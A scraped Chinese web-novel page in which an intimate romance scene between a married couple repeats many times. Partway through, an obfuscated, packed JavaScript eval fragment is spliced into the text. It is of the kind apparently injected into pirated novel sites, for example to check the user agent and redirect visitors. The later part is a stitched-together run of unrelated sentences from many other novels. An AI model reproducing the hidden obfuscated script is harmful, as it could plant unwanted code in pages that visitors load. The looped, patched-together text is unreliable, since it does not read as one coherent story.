他半跪在床前的身姿愈发挺拔,胸腔里的心跳越来越沉,透过薄薄的衣料传到岑予衿的腿上,震得她心口发颤。 可她偏要装出一副毫不在意的模样,甚至微微仰着头,用鼻尖蹭了蹭他的鼻尖,语气带着几分戏谑,“怎么不说话了?陆二少这是被我说中了,没底气反驳了?” 她的手顺着他的肩头滑到他的脖颈,指尖轻轻挠着他的喉结,看着那凸起的弧度随着他的吞咽不停滚动,眼底的狡黠几乎要溢出来,“不过如此。” 陆京洲的眼底彻底暗沉下来,那里面翻涌着占有欲和隐忍的火焰,却没有半分恼怒,反而带着一种被彻底点燃的灼热。 他缓缓站起身,高大的身影彻底将岑予衿笼罩在阴影里,他俯身,一只手撑在她身侧的床榻上,另一只手捏住她的脚踝,力道不算重,却让她根本无法再往后缩。 岑予衿的脚尖轻轻踢了他一下,依旧是那副挑衅的模样,眼底水光潋滟,嘴角勾着张扬的笑,“怎么?被我说急了?陆二少这是想动手?” 她的手指轻轻划过自己的小腹,语气带着几分刻意的散漫,“可得轻点,万一伤到宝宝,我不放过你,老太太也不会放过你。” “是吗?”他低笑一声,那笑声里听不出怒意,反而有种被彻底点燃的兴味,“看来……是我之前证明得不够彻底,没让老婆彻底记住,是我的问题。” 岑予衿心尖猛地一颤,手臂还环在他颈后,指尖却不自觉地蜷缩起来,轻轻的抚摸着他颈后的皮肤,痒痒的,“那你想怎样?” “咱们俩为什么要出来住酒店,老婆你忘了吗?”陆京洲的吻辗转上移,衔住她柔软的耳垂,齿尖若有似无地轻磨,带来一阵酥麻的战栗。 “试试吧,我更行。” 最后三个字,几乎是贴着耳膜送进去的,带着滚烫的温度和不容置疑的强势。 岑予衿想移开目光,却被他牢牢锁住视线。 那些专业术语和数据,此刻被他用这样直白的方式念出来,羞耻感瞬间**,“我都说了那时候只是想攀上你这个高枝乱说的,还有完没完了?” 陆京洲关掉手机,随手扔到一旁柔软的沙发上。 他双手捧住她的脸,力道温柔却不容她退却。 “现在,还觉得我需要靠什么助孕药?”他额头抵着她的,呼吸相闻,声音低哑得不成样子。 岑予衿看着他极力证明自己的样子,就想笑,“谁知道是不是我的助孕药起效了。” 挑衅,赤裸裸的挑衅! 这话一出,卧室里的空气瞬间凝住,昏黄的壁灯落在陆京洲的眉眼间,将他眼底的暗色烘得愈发浓烈。 他捧著她脸颊的手骤然收紧了几分,却又在触及她细腻肌肤的下一秒,放缓了力道,指尖摩挲着她泛红的脸颊,带着滚烫的温度。 岑予衿眼底的笑意更甚,水光漾得更明显,她微微抬着下巴,刻意凑近他,鼻尖几乎蹭到他的鼻尖,语气里的挑衅直白又张扬,半点没有收敛。 “毕竟那药我可是乖乖吃完了。” 她的指尖顺着他的手腕缓缓往上滑,划过他紧绷的小臂线条,最后停在他的肩头,轻轻掐了一下,带着几分娇蛮的力道,“那天晚上到底是什么样的我也不记得了,谁知道你到底行不行!” 陆京洲的呼吸猛地一重,灼热的气息喷在她的唇瓣上,烫得她下意识颤了颤,可脸上的挑衅神色半点没减。 他半跪在床前的身姿愈发挺拔,胸腔里的心跳越来越沉,透过薄薄的衣料传到岑予衿的腿上,震得她心口发颤。 可她偏要装出一副毫不在意的模样,甚至微微仰着头,用鼻尖蹭了蹭他的鼻尖,语气带着几分戏谑,“怎么不说话了?陆二少这是被我说中了,没底气反驳了?” 她的手顺着他的肩头滑到他的脖颈,指尖轻轻挠着他的喉结,看着那凸起的弧度随着他的吞咽不停滚动,眼底的狡黠几乎要溢出来,“不过如此。” 陆京洲的眼底彻底暗沉下来,那里面翻涌着占有欲和隐忍的火焰,却没有半分恼怒,反而带着一种被彻底点燃的灼热。 他缓缓站起身,高大的身影彻底将岑予衿笼罩在阴影里,他俯身,一只手撑在她身侧的床榻上,另一只手捏住她的脚踝,力道不算重,却让她根本无法再往后缩。 岑予衿的脚尖轻轻踢了他一下,依旧是那副挑衅的模样,眼底水光潋滟,嘴角勾着张扬的笑,“怎么?被我说急了?陆二少这是想动手?” 她的手指轻轻划过自己的小腹,语气带着几分刻意的散漫,“可得轻点,万一伤到宝宝,我不放过你,老太太也不会放过你。” “是吗?”他低笑一声,那笑声里听不出怒意,反而有种被彻底点燃的兴味,“看来……是我之前证明得不够彻底,没让老婆彻底记住,是我的问题。” 岑予衿心尖猛地一颤,手臂还环在他颈后,指尖却不自觉地蜷缩起来,轻轻的抚摸着他颈后的皮肤,痒痒的,“那你想怎样?” “咱们俩为什么要出来住酒店,老婆你忘了吗?”陆京洲的吻辗转上移,衔住她柔软的耳垂,齿尖若有似无地轻磨,带来一阵酥麻的战栗。 “试试吧,我更行。” 最后三个字,几乎是贴着耳膜送进去的,带着滚烫的温度和不容置疑的强势。 岑予衿想移开目光,却被他牢牢锁住视线。 那些专业术语和数据,此刻被他用这样直白的方式念出来,羞耻感瞬间**,“我都说了那时候只是想攀上你这个高枝乱说的,还有完没完了?” 陆京洲关掉手机,随手扔到一旁柔软的沙发上。 他双手捧住她的脸,力道温柔却不容她退却。 “现在,还觉得我需要靠什么助孕药?”他额头抵着她的,呼吸相闻,声音低哑得不成样子。 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最后三个字,几乎是贴着耳膜送进去的,带着滚烫的温度和不容置疑的强势。 岑予衿想移开目光,却被他牢牢锁住视线。 那些专业术语和数据,此刻被他用这样直白的方式念出来,羞耻感瞬间**,“我都说了那时候只是想攀上你这个高枝乱说的,还有完没完了?” 陆京洲关掉手机,随手扔到一旁柔软的沙发上。 他双手捧住她的脸,力道温柔却不容她退却。 “现在,还觉得我需要靠什么助孕药?”他额头抵着她的,呼吸相闻,声音低哑得不成样子。 岑予衿看着他极力证明自己的样子,就想笑,“谁知道是不是我的助孕药起效了。” 挑衅,赤裸裸的挑衅! 这话一出,卧室里的空气瞬间凝住,昏黄的壁灯落在陆京洲的眉眼间,将他眼底的暗色烘得愈发浓烈。 他捧著她脸颊的手骤然收紧了几分,却又在触及她细腻肌肤的下一秒,放缓了力道,指尖摩挲着她泛红的脸颊,带着滚烫的温度。 岑予衿眼底的笑意更甚,水光漾得更明显,她微微抬着下巴,刻意凑近他,鼻尖几乎蹭到他的鼻尖,语气里的挑衅直白又张扬,半点没有收敛。 “毕竟那药我可是乖乖吃完了。” 她的指尖顺着他的手腕缓缓往上滑,划过他紧绷的小臂线条,最后停在他的肩头,轻轻掐了一下,带着几分娇蛮的力道,“那天晚上到底是什么样的我也不记得了,谁知道你到底行不行!” 陆京洲的呼吸猛地一重,灼热的气息喷在她的唇瓣上,烫得她下意识颤了颤,可脸上的挑衅神色半点没减。 他半跪在床前的身姿愈发挺拔,胸腔里的心跳越来越沉,透过薄薄的衣料传到岑予衿的腿上,震得她心口发颤。 可她偏要装出一副毫不在意的模样,甚至微微仰着头,用鼻尖蹭了蹭他的鼻尖,语气带着几分戏谑,“怎么不说话了?陆二少这是被我说中了,没底气反驳了?” 她的手顺着他的肩头滑到他的脖颈,指尖轻轻挠着他的喉结,看着那凸起的弧度随着他的吞咽不停滚动,眼底的狡黠几乎要溢出来,“不过如此。” 陆京洲的眼底彻底暗沉下来,那里面翻涌着占有欲和隐忍的火焰,却没有半分恼怒,反而带着一种被彻底点燃的灼热。 他缓缓站起身,高大的身影彻底将岑予衿笼罩在阴影里,他俯身,一只手撑在她身侧的床榻上,另一只手捏住她的脚踝,力道不算重,却让她根本无法再往后缩。 岑予衿的脚尖轻轻踢了他一下,依旧是那副挑衅的模样,眼底水光潋滟,嘴角勾着张扬的笑,“怎么?被我说急了?陆二少这是想动手?” 她的手指轻轻划过自己的小腹,语气带着几分刻意的散漫,“可得轻点,万一伤到宝宝,我不放过你,老太太也不会放过你。” “是吗?”他低笑一声,那笑声里听不出怒意,反而有种被彻底点燃的兴味,“看来……是我之前证明得不够彻底,没让老婆彻底记住,是我的问题。” 岑予衿心尖猛地一颤,手臂还环在他颈后,指尖却不自觉地蜷缩起来,轻轻的抚摸着他颈后的皮肤,痒痒的,“那你想怎样?” “咱们俩为什么要出来住酒店,老婆你忘了吗?”陆京洲的吻辗转上移,衔住她柔软的耳垂,齿尖若有似无地轻磨,带来一阵酥麻的战栗。 “试试吧,我更行。” 最后三个字,几乎是贴着耳膜送进去的,带着滚烫的温度和不容置疑的强势。 岑予衿想移开目光,却被他牢牢锁住视线。 那些专业术语和数据,此刻被他用这样直白的方式念出来,羞耻感瞬间**,“我都说了那时候只是想攀上你这个高枝乱说的,还有完没完了?” 陆京洲关掉手机,随手扔到一旁柔软的沙发上。 他双手捧住她的脸,力道温柔却不容她退却。 “现在,还觉得我需要靠什么助孕药?”他额头抵着她的,呼吸相闻,声音低哑得不成样子。 岑予衿看着他极力证明自己的样子,就想笑,“谁知道是不是我的助孕药起效了。” 挑衅,赤裸裸的挑衅! 这话一出,卧室里的空气瞬间凝住,昏黄的壁灯落在陆京洲的眉眼间,将他眼底的暗色烘得愈发浓烈。 他捧著她脸颊的手骤然收紧了几分,却又在触及她细腻肌肤的下一秒,放缓了力道,指尖摩挲着她泛红的脸颊,带着滚烫的温度。 岑予衿眼底的笑意更甚,水光漾得更明显,她微微抬着下巴,刻意凑近他,鼻尖几乎蹭到他的鼻尖,语气里的挑衅直白又张扬,半点没有收敛。 “毕竟那药我可是乖乖吃完了。” 她的指尖顺着他的手腕缓缓往上滑,划过他紧绷的小臂线条,最后停在他的肩头,轻轻掐了一下,带着几分娇蛮的力道,“那天晚上到底是什么样的我也不记得了,谁知道你到底行不行!” 陆京洲的呼吸猛地一重,灼热的气息喷在她的唇瓣上,烫得她下意识颤了颤,可脸上的挑衅神色半点没减。 他半跪在床前的身姿愈发挺拔,胸腔里的心跳越来越沉,透过薄薄的衣料传到岑予衿的腿上,震得她心口发颤。 可她偏要装出一副毫不在意的模样,甚至微微仰着头,用鼻尖蹭了蹭他的鼻尖,语气带着几分戏谑,“怎么不说话了?陆二少这是被我说中了,没底气反驳了?” 她的手顺着他的肩头滑到他的脖颈,指尖轻轻挠着他的喉结,看着那凸起的弧度随着他的吞咽不停滚动,眼底的狡黠几乎要溢出来,“不过如此。” 陆京洲的眼底彻底暗沉下来,那里面翻涌着占有欲和隐忍的火焰,却没有半分恼怒,反而带着一种被彻底点燃的灼热。 他缓缓站起身,高大的身影彻底将岑予衿笼罩在阴影里,他俯身,一只手撑在她身侧的床榻上,另一只手捏住她的脚踝,力道不算重,却让她根本无法再往后缩。 岑予衿的脚尖轻轻踢了他一下,依旧是那副挑衅的模样,眼底水光潋滟,嘴角勾着张扬的笑,“怎么?被我说急了?陆二少这是想动手?” 她的手指轻轻划过自己的小腹,语气带着几分刻意的散漫,“可得轻点,万一伤到宝宝,我不放过你,老太太也不会放过你。” “是吗?”他低笑一声,那笑声里听不出怒意,反而有种被彻底点燃的兴味,“看来……是我之前证明得不够彻底,没让老婆彻底记住,是我的问题。” 岑予衿心尖猛地一颤,手臂还环在他颈后,指尖却不自觉地蜷缩起来,轻轻的抚摸着他颈后的皮肤,痒痒的,“那你想怎样?” “咱们俩为什么要出来住酒店,老婆你忘了吗?”陆京洲的吻辗转上移,衔住她柔软的耳垂,齿尖若有似无地轻磨,带来一阵酥麻的战栗。 “试试吧,我更行。” 最后三个字,几乎是贴着耳膜送进去的,带着滚烫的温度和不容置疑的强势。 岑予衿想移开目光,却被他牢牢锁住视线。 那些专业术语和数据,此刻被他用这样直白的方式念出来,羞耻感瞬间**,“我都说了那时候只是想攀上你这个高枝乱说的,还有完没完了?” 陆京洲关掉手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他缓缓站起身,高大的身影彻底将岑予衿笼罩在阴影里,他俯身,一只手撑在她身侧的床榻上,另一只手捏住她的脚踝,力道不算重,却让她根本无法再往后缩。 岑予衿的脚尖轻轻踢了他一下,依旧是那副挑衅的模样,眼底水光潋滟,嘴角勾着张扬的笑,“怎么?被我说急了?陆二少这是想动手?” 她的手指轻轻划过自己的小腹,语气带着几分刻意的散漫,“可得轻点,万一伤到宝宝,我不放过你,老太太也不会放过你。” “是吗?”他低笑一声,那笑声里听不出怒意,反而有种被彻底点燃的兴味,“看来……是我之前证明得不够彻底,没让老婆彻底记住,是我的问题。” 岑予衿心尖猛地一颤,手臂还环在他颈后,指尖却不自觉地蜷缩起来,轻轻的抚摸着他颈后的皮肤,痒痒的,“那你想怎样?” “咱们俩为什么要出来住酒店,老婆你忘了吗?”陆京洲的吻辗转上移,衔住她柔软的耳垂,齿尖若有似无地轻磨,带来一阵酥麻的战栗。 “试试吧,我更行。” 最后三个字,几乎是贴着耳膜送进去的,带着滚烫的温度和不容置疑的强势。 岑予衿想移开目光,却被他牢牢锁住视线。 那些专业术语和数据,此刻被他用这样直白的方式念出来,羞耻感瞬间**,“我都说了那时候只是想攀上你这个高枝乱说的,还有完没完了?” 陆京洲关掉手机,随手扔到一旁柔软的沙发上。 他双手捧住她的脸,力道温柔却不容她退却。 “现在,还觉得我需要靠什么助孕药?”他额头抵着她的,呼吸相闻,声音低哑得不成样子。 岑予衿看着他极力证明自己的样子,就想笑,“谁知道是不是我的助孕药起效了。” 挑衅,赤裸裸的挑衅! 这话一出,卧室里的空气瞬间凝住,昏黄的壁灯落在陆京洲的眉眼间,将他眼底的暗色烘得愈发浓烈。 他捧著她脸颊的手骤然收紧了几分,却又在触及她细腻肌肤的下一秒,放缓了力道,指尖摩挲着她泛红的脸颊,带着滚烫的温度。 岑予衿眼底的笑意更甚,水光漾得更明显,她微微抬着下巴,刻意凑近他,鼻尖几乎蹭到他的鼻尖,语气里的挑衅直白又张扬,半点没有收敛。 “毕竟那药我可是乖乖吃完了。” 她的指尖顺着他的手腕缓缓往上滑,划过他紧绷的小臂线条,最后停在他的肩头,轻轻掐了一下,带着几分娇蛮的力道,“那天晚上到底是什么样的我也不记得了,谁知道你到底行不行!” 陆京洲的呼吸猛地一重,灼热的气息喷在她的唇瓣上,烫得她下意识颤了颤,可脸上的挑衅神色半点没减。 他半跪在床前的身姿愈发挺拔,胸腔里的心跳越来越沉,透过薄薄的衣料传到岑予衿的腿上,震得她心口发颤。 可她偏要装出一副毫不在意的模样,甚至微微仰着头,用鼻尖蹭了蹭他的鼻尖,语气带着几分戏谑,“怎么不说话了?陆二少这是被我说中了,没底气反驳了?” 她的手顺着他的肩头滑到他的脖颈,指尖轻轻挠着他的喉结,看着那凸起的弧度随着他的吞咽不停滚动,眼底的狡黠几乎要溢出来,“不过如此。” 陆京洲的眼底彻底暗沉下来,那里面翻涌着占有欲和隐忍的火焰,却没有半分恼怒,反而带着一种被彻底点燃的灼热。 他缓缓站起身,高大的身影彻底将岑予衿笼罩在阴影里,他俯身,一只手撑在她身侧的床榻上,另一只手捏住她的脚踝,力道不算重,却让她根本无法再往后缩。 岑予衿的脚尖轻轻踢了他一下,依旧是那副挑衅的模样,眼底水光潋滟,嘴角勾着张扬的笑,“怎么?被我说急了?陆二少这是想动手?” 她的手指轻轻划过自己的小腹,语气带着几分刻意的散漫,“可得轻点,万一伤到宝宝,我不放过你,老太太也不会放过你。” “是吗?”他低笑一声,那笑声里听不出怒意,反而有种被彻底点燃的兴味,“看来……是我之前证明得不够彻底,没让老婆彻底记住,是我的问题。” 岑予衿心尖猛地一颤,手臂还环在他颈后,指尖却不自觉地蜷缩起来,轻轻的抚摸着他颈后的皮肤,痒痒的,“那你想怎样?” “咱们俩为什么要出来住酒店,老婆你忘了吗?”陆京洲的吻辗转上移,衔住她柔软的耳垂,齿尖若有似无地轻磨,带来一阵酥麻的战栗。 “试试吧,我更行。” 最后三个字,几乎是贴着耳膜送进去的,带着滚烫的温度和不容置疑的强势。 岑予衿想移开目光,却被他牢牢锁住视线。 那些专业术语和数据,此刻被他用这样直白的方式念出来,羞耻感瞬间**,“我都说了那时候只是想攀上你这个高枝乱说的,还有完没完了?” 陆京洲关掉手机,随手扔到一旁柔软的沙发上。 他双手捧住她的脸,力道温柔却不容她退却。 “现在,还觉得我需要靠什么助孕药?”他额头抵着她的,呼吸相闻,声音低哑得不成样子。 岑予衿看着他极力证明自己的样子,就想笑,“谁知道是不是我的助孕药起效了。” 挑衅,赤裸裸的挑衅! 这话一出,卧室里的空气瞬间凝住,昏黄的壁灯落在陆京洲的眉眼间,将他眼底的暗色烘得愈发浓烈。 他捧著她脸颊的手骤然收紧了几分,却又在触及她细腻肌肤的下一秒,放缓了力道,指尖摩挲着她泛红的脸颊,带着滚烫的温度。 岑予衿眼底的笑意更甚,水光漾得更明显,她微微抬着下巴,刻意凑近他,鼻尖几乎蹭到他的鼻尖,语气里的挑衅直白又张扬,半点没有收敛。 “毕竟那药我可是乖乖吃完了。” 她的指尖顺着他的手腕缓缓往上滑,划过他紧绷的小臂线条,最后停在他的肩头,轻轻掐了一下,带着几分娇蛮的力道,“那天晚上到底是什么样的我也不记得了,谁知道你到底行不行!” 陆京洲的呼吸猛地一重,灼热的气息喷在她的唇瓣上,烫得她下意识颤了颤,可脸上的挑衅神色半点没减。 他半跪在床前的身姿愈发挺拔,胸腔里的心跳越来越沉,透过薄薄的衣料传到岑予衿的腿上,震得她心口发颤。 可她偏要装出一副毫不在意的模样,甚至微微仰着头,用鼻尖蹭了蹭他的鼻尖,语气带着几分戏谑,“怎么不说话了?陆二少这是被我说中了,没底气反驳了?” 她的手顺着他的肩头滑到他的脖颈,指尖轻轻挠着他的喉结,看着那凸起的弧度随着他的吞咽不停滚动,眼底的狡黠几乎要溢出来,“不过如此。” 陆京洲的眼底彻底暗沉下来,那里面翻涌着占有欲和隐忍的火焰,却没有半分恼怒,反而带着一种被彻底点燃的灼热。 他缓缓站起身,高大的身影彻底将岑予衿笼罩在阴影里,他俯身,一只手撑在她身侧的床榻上,另一只手捏住她的脚踝,力道不算重,却让她根本无法再往后缩。 岑予衿的脚尖轻轻踢了他一下,依旧是那副挑衅的模样,眼底水光潋滟,嘴角勾着张扬的笑,“怎么?被我说急了?陆二少这是想动手?” 她的手指轻轻划过自己的小腹,语气带着几分刻意的散漫,“可得轻点,万一伤到宝宝,我不放过你,老太太也不会放过你。” “是吗?”他低笑一声,那笑声里听不出怒意,反而有种被彻底点燃的兴味,“看来……是我之前证明得不够彻底,没让老婆彻底记住,是我的问题。” 岑予衿心尖猛地一颤,手臂还环在他颈后,指尖却不自觉地蜷缩起来,轻轻的抚摸着他颈后的皮肤,痒痒的,“那你想怎样?” “咱们俩为什么要出来住酒店,老婆你忘了吗?”陆京洲的吻辗转上移,衔住她柔软的耳垂,齿尖若有似无地轻磨,带来一阵酥麻的战栗。 “试试吧,我更行。” 最后三个字,几乎是贴着耳膜送进去的,带着滚烫的温度和不容置疑的强势。 第一卷 第181章 谁怕谁? 岑予衿被他吻得浑身发软,方才的张扬挑衅尽数化作唇间细碎的轻吟。 她攀着他的脖颈,身子不自觉往他怀里靠,指尖攥着他的发丝,眼底水光氤氲。 “可是只凭我们几个怎么能守的住这个秘密”子月终于说话了,不过还是那么冷淡,一语中的。 年轻警官受宠若惊,赶紧大声答到,向邱叶明敬了一个标准的军礼。 而这也是半神之间,为什么极少争斗,而争斗之间,也同样是极少有伤亡的原因。 “连长,这是你要的东西,我拿来了。对了,指导员,曹孟昂在楼下等你呢。”有个士兵进来说道。 毕竟长时间待在一个洞中确实枯燥无聊,其间孤落成两次爬上山顶去捕猎,顺便收集粮食。为了方便上下,曾经想要弄出一条直通山顶的锁链,届时就可以借助锁链直接攀爬上来。 乾老再度动容,孤落第二次炼药,每次提炼的温度基本都是一次到位,那种控制精度与记忆能力,完全看不出是才炼过一次药的新手,说出去都可以羞死无数在丹道上苦苦探寻数十年而不得入门的人了。 “因为他没杀我!所以我就该放了他!”子龙听完就没再问,老哥这样说自然有他的道理。 “我不要钱!”郭念菲淡淡的回应道:“你觉得我差着些钱!”安安仔细想一下也是,郭念菲又怎么会在意这些钱!今天找他帮忙以后不知道要怎么还呢? 和林鹏客套了几句后,另一面男子回过头,一脸严肃的问向名叫疾风的男子。 塔界尊此时,也是知晓庄坚渡过心魔,如果其现在不破开天罡七星阵图逃出的话,那么随着庄坚实力的越发深厚,他可能再也无法逃离出去,最终难逃被炼化的结局。 失去了头颅的刀鬼舞起最后的长刀,毫不犹豫自胸口贯入了自己的肚子。 经过一个晚上的时间,风灵结界内部还是和往常一样,没有变化,那些与死亡的风灵魔也没有重新刷新出来,黑色风柱也消失了两跟,看看以后想呆在这里练级是不可能了。 倘若无人去触碰那处沉疴旧疾,恐怕她永远也不知痛在何处,又该如何痊愈。 “哎呀,绿微姐,你受伤了。”被压在最低下的绿云,感觉到脸色有些热。随着那液体流到了绿云的鼻子附近,她便闻到了血腥味。抬头一看,绿云这才发现绿微的手臂正在流血。 “哥哥,想挣大钱,就得先花钱。你看着吧,等我酿完酒,给你挣回来几个‘二十两’。”吕香儿不等吕洪说完,便开始算计着这车上的坛子能酿出多少酒来。 闹剧终究有结束的时候,生活还得继续,虽然其中雷刚的杀鸡儆猴,大煞风景,但是总体而言,‘虎狼之夜’的开业典礼,也算是没处什么意外,尘埃落定。 “没错,是我们的招牌菜,如果你们需要的话,我现在就下去通知厨房准备了。”值班经理笑着说道。 不远的前方,一个黑色的飓风包裹着黑色结界,波荡这一层层能量。 尽管天生脑子中是乱成了一团,但是狐西元脸上诚恳的表情让他决定相信眼前这个老头,所以他默默的点了点头。 第一卷 第182章 回老宅 潘金莲那白璧无瑕的身体已经在他身前五尺,原来刚才是经过,而非想投入他的怀抱,他侥幸之余有一丝的失落。 “师父,不如我们分头去找吧,依弟子看,那聂唯只怕受伤颇重,就算没有受伤,为了破阵也一定消耗极大……”徐慧笑得风情万种。 聂唯怎么看都不太像是第一种,她一个大学生,到哪里去见惯生死? 听完山口美黛子对灭蛆、灭蝇、灭蚊子、灭孑孓的介绍,关锦璘十几人来到第一监区10号寝室。 因为为了防阳光,大巴的玻璃都是棕色的,而正是这单面的棕色,让大巴的窗户好似一面镜子,而此刻坐在里面的因为角度问题,隐隐能看到前面那对情侣的身影。 我愣了愣,感觉今天祝灵怪怪的,说话总透着一股莫名其妙的严肃劲儿,反而让我有点不适应了。 可是汪凝眉不是说了,圣物被她藏起来了吗?难道说,三个部落,每个部落都有一个圣物? “我知道,我要是生她的气,早就懒得和她说话了。”覃顺也不是真生气,只是被她满嘴跑火车给惊了。 地下室墙面上有几道深深的指痕,看情况应该是阿黛尔抓的,原来在屋子中央摆放的那套桌椅如今也变成了一堆碎木头,明摆着,现场之前发生过激烈的打斗。 转眼的时间,东陵凰已经朝着慕容风发了十几招,而且每一招都没有用玄力,用的都是实打实的招数。 “不用你说,我也会好好照顾苏棠的。”白可可的声音在后面响起。 那些蒙昧无知的未开灵动物们,漫无目的地在丛林中逃窜,更多的动物,是被烈火吞噬,发出哀鸣,死于非命。 皇甫明宇突然感受到了杜傲白手的温度,想起了之前做到的梦,这感觉特别的亲切温暖,可是突然想,这样不对,没等杜傲白反应过来,用力的甩开了杜傲白的手。 隐隐约约之中,它看到了丛林之中有特殊的光芒闪烁着,升起在半空之中。 王因果能够感觉得到,这东西并非是自己可以拿走的,这里面似乎蕴藏了一种超越了自己道境层次的力量,可以确保大珠子留在此地不动。 可是白苏默的妈妈可不听他的安排,他说他的,白苏默母亲照样做自己的厨房热饭的事。 生命的凋零总是会带起浓浓的悲伤,然而位于林中雅亭之内的六人,却似乎感受不到这股秋意带来的悲意,反倒有一种不以物喜,不以己悲的超然。 “你怎么醒这么早?”因为刚运动完,陆怀骁的声音有些喘,但依旧很沉稳。 身体晃了晃,赵丰马上就掌握了田伯光的所有技能,手中的刀芒也似乎轻了许多。 陆怀骁率先上了游艇,伸出宽大的手掌示意让苏棠顺着自己的手跳下来,看着海浪拍打着船身荡漾起激烈的水花,苏棠心里一咯噔。 抬头看着前方灵药谷众人眼中紧张的模样,药华也是无奈的叹息了一声。嘴中有气无力的说道。 济世医院的赵医生觉得自己遇到了怪事儿,17号的时候,他们科室收治了一位老年病人,肝硬化晚期,伴随着许多严重的并发症。 等树长到四米高,夏含清忽然想起来,树叶坠子会不会也在吸取洛九天的力量?想到这一点,她很慌,甚至忘记自己先前摔伤了腿,爬起来就冲到洛九天身边,一把攥住他脖子上的树叶坠子。 看来老独说的没错,纠缠桑岚的不是什么仙家,而是不入流的精怪,日出到午时这段时间,还是会蛰伏的。 跑这一趟就是为了采摘彭莲草,现在目标已经达成,圆球儿也就恢复自由身,它重新找夏含清借钱买了匹马,把马车架起来,准备自己带着茜茜离开。 我本来已经抬起的脚步硬生生收了回来,稍作冷静,抬手轻拍了一下他的肩膀,一方面是因为刚才对他的粗暴表达歉意,另一方面也是强迫自己从虚幻中分离出来,回到现实。 可视眼在江州市的招聘迎来了开门红,不仅抢到不少优质的流水线工人,而且还招到一些合适的应届生,甚至是海归安防人才。 想起之前被绿光吸引的情形,我暗觉奇怪,要说鬼魅有化形来去的能力,倒是不稀奇,可为什么刚才我能看到那绿光,现在却看不到了呢? 拿着画完押的字据,高灵儿和龙飞离开了赌场,直接向赛场驶去。 但是由于许乐进入成龙历险记世界之后,八个恶魔的实力巅峰也不过返虚,就算是八个不死神明达到了合道境界,也只是让许乐惊讶片刻。 圆圆被突然的叫了大名,惊吓中摄像头‘啪’的一声砸在了地上阵亡了。 只不过需要付出的也就很多,如果不想付出,修为高深后自然而然的就好了!至于断腿,因该说就不能算作伤了。 她用花洒给他冲水,用了沐浴露给他抹了上去,才抹了一半,却被他突然抱住压在了墙上!感觉室间的温度陡地升高了好几度。 花轻言看到赵明月,眼睛危险的眯起,赵明月还敢出现在自己面前? 生命宝珠从尸体口中慢慢吐出,和灵魂宝珠一同漂浮到空中,散发出淡淡的荧光,随后融合在一起,变成碧绿色的光团。 第三天开始王大壮开始明白为什么让他们吃的这么好了,因为训练开始。训练强度一天天加强,刚开始王大壮还能忍住,最后实在不行了,有想逃跑的冲动。 第一卷 第183章 京耀 陆泽言回到家的时候,宋恬他们还在吃午餐呢,他这么突然进门,倒是把在座的人全都震惊到了。 何长明点了点头,正要说些什么,朗佳忽然从门口跌跌撞撞的跑过来,一把推开了洋子。 “我们也不知道秦仙师现在在哪,我们怎么给你?”楚霸王沉声问道。 联合舰队准备完毕后,腾空而起,向着岐岭城扑去。留下在风中凌乱的几十个修士。 当古涅回道自己的住所的时候,亚当丝毫不吝啬自己的赞美之词。 留下吃了一半的外卖盒子,也是因为他有事一定要离开去解决,又因为他还会回来,所以外面留在这里,保持着绝不浪费的精神。 秦檬的脸色不好看也是正常的,他今天来姚家,只打算见见姚瑶瑶的。 与此同时,蜃影和刘依婷却在见证着一幕,那是他们无法相信的一幕,或者说,亲眼见证了一幕,凯与露娜的反目成仇。 脸皮真是厚到家了。苏是没办法。只好让他跟着她与笙湖的身后。 一阵密集的惊慌惨叫以及洞穿之声,又是十几个士兵,当场阵亡。 话音落下后,姜煜同时对乔治温斯顿、和田光司等人,抱以深深的歉意。 下一句还没来得及说,却发现这屋子空无一人!老刘不在房间,床上被褥被他叠的整整齐齐,在柜子上留有一个纸条。 回到主场的广州恒大,惊险的2:1赢了北京国安。但是,上港也赢了,他们依旧没有拉开差距。 莱昂纳多并没有把全部主力带过来,甚至于很多都没有放进替补席,只有开赛前他临时拿下的队长唐如海。 仿佛从兄妹俩决定加入修行学院的那一刻起,就注定了现在的局面。 我早就猜到了这人是老刘,所以听到保安说出名字,我并没有感到惊讶。 “轩轩,你终于到了,我先带你去学校报到吧。”李枫接过了徐正轩的行李箱说道。 他妈的,原来搞这么多事情,只是问我要一份工作吗?哎呀,还以为什么来头,王大龙鄙视了他一眼,然后认真的看着他。 蓬莱就在眼前,清玄子与张洞天一样的想法,就此退去,心有不甘。 在若干年后我才知道他的心声,他说,何嘉然,在我面前,你从来不需要任何的筹码,因为你想要的,我都会给你,而你的命,重于一切。 并没有太多人把他这句话当一回事,尤其是05届那两个家伙憋着劲接连砍下三双之后。 闪电滑过天空,原本晴朗的天气似乎是瞬间就阴沉了下来,伴随着玄夜的怒意起伏。 在哈姆丹引着王铮从直升机上下来的时候,一个身穿长袍的中年人恭敬的迎了上来。 顾致城刚才在洗碗的时候也想清楚了,如果张翠莲说的是真的那么一切都可以解释了。 轰的一声,一只巨大闪耀着金色光芒的左手,那巨大的手比燃还要高大,从天而降,云层破碎这后,压向了燃的头顶。 但是眼下,知道这件事情的人很少,尤其是陈玉堂跟蔡姨死后,更加的无从知晓。 一艘狼狈逃离了锁定重新进入跳跃的飞船当中,一名独眼男子此时却是面露狰狞之色的咆哮到。 他痛苦的抱住自己的脑袋,他回想之前发生的那些:我特么就是个傻子。 挂了电话,陆承影给我发来短信,说明天一早九点钟来接我,让我说一下地址。 “好了好了,连长同志,你就让让指导员同志嘛!事情是由我引起的,我去解决!”说着,拿起帽子,要出去。 而庄坚刚刚所言,下位神阶,可以探查一百重天地之外的存在,乃是其自身和饕餮做对比,而做出的判断,而真正的下位神阶,一般能够探查到三十重天地之外,已经是相当可观了。 夜冥宫是冥界之王所在的地方,里面还有大祭司,十二护法,和一些普通的术师。夜冥宫位于凡世和冥界的边缘,掌管着冥界和凡世。说着他给我指了指远方一座高塔。那座塔虽然离我好远,可看起来恢宏的气势丝毫不减。 忠义良猴得知此事后,便掐指一算算到了他们是来刺杀师父的。便让铁骨战猴师弟变成师父模样,在大营外转悠,将这些刺客全部吸引出来,将其一网打尽。 神龙煞君和那些上古大仙都一样,一个个自命不凡,从来都不把别人的意见放在眼中。这一回得到了水兽天王的批准后,便接受了他的意见,然而当他真正遇到取经人和官军之后,便将这托字口诀扔到脑后。 